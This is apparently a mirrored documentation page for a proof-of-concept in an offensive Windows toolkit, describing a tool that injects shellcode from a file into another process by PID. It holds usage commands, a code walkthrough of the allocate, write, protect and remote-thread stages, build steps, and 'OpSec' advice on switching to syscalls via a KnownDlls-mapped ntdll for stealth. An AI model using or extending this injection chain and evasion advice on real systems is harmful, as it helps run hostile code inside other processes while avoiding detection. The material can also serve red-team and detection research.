mirror of
https://github.com/youssefnoob003/SindriKit
synced 2026-07-07 21:57:09 +00:00
aea2eb6cfb
- Implement complete cross-process injection engine via snd_inj_ctx_t - Track explicit remote_entry_point for safe thread hijacking and PE execution - Refactor standalone syscall resolvers into a unified pipeline (scan/sort) - Perfect status code system by purging generic fallbacks in favor of highly-specific, domain-aware error codes - Fix minor pointer validation and parsing bugs in the reflective loader
2.8 KiB
2.8 KiB
PoC: inject_shell
Location: pocs/inject_shell/
Classic remote shellcode injection into a target process. Reads raw bytes from disk and runs the full Alloc → Write → Protect → Execute pipeline via snd_inj_classic_shell.
What it demonstrates
- Shared injection context (
snd_inj_ctx_t) withsnd_inj_classic_shell - KnownDlls bootstrap + syscall pipeline setup (present in source)
- Win32 remote process API (
snd_proc_win) for cross-process operations - Disk payload loading with
snd_disk_buffer_load
Command-line usage
inject_shell -f <payload_path> -p <target_pid>
-f Path to raw shellcode file
-p Target process ID (decimal)
Example
inject_shell.exe -f shellcode.bin -p 1234
The remote thread starts at the allocation base — the entire file contents are treated as executable shellcode.
Walkthrough
1. Load shellcode
snd_buffer_t inject_buf = {0};
snd_inj_ctx_t inj_ctx = {0};
status = snd_disk_buffer_load(file_path, &inject_buf);
2. Bootstrap syscall pipeline (optional for current profile)
PVOID ntdll = NULL;
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
This PoC bootstraps the pipeline but uses snd_proc_win for injection. Swap to &snd_proc_sys to use the prepared pipeline for stealth remote operations.
3. Configure injection context
inj_ctx.target_pid = target_pid;
inj_ctx.payload = &inject_buf;
inj_ctx.proc_api = &snd_proc_win;
4. Run classic shell chain
status = snd_inj_classic_shell(&inj_ctx);
// open → alloc (RW) → write → protect (RX) → create_remote_thread
5. Cleanup
snd_inj_cleanup(&inj_ctx);
snd_buffer_free(&inject_buf);
Pipeline stages
| Step | Engine function | Remote effect |
|---|---|---|
| Open | snd_inj_classic_open_target |
OpenProcess(PROCESS_ALL_ACCESS) |
| Alloc | snd_inj_classic_alloc_remote |
VirtualAllocEx RW, size = shellcode length |
| Write | snd_inj_classic_write_payload |
WriteProcessMemory |
| Protect | snd_inj_classic_set_protections |
VirtualProtectEx → PAGE_EXECUTE_READ |
| Execute | snd_inj_classic_execute |
CreateRemoteThread at allocation base |
Building
cmake -B build -DSND_BUILD_PAYLOADS=ON
cmake --build build --config Release
OpSec impact
High visibility — Win32 cross-process APIs. Suitable for validating the injection state machine before switching to snd_proc_sys.
For a stealth shellcode profile, keep the KnownDlls bootstrap and set inj_ctx.proc_api = &snd_proc_sys.
See also
- Injection techniques
- inject_pe.md — PE payload with full
_sysprofile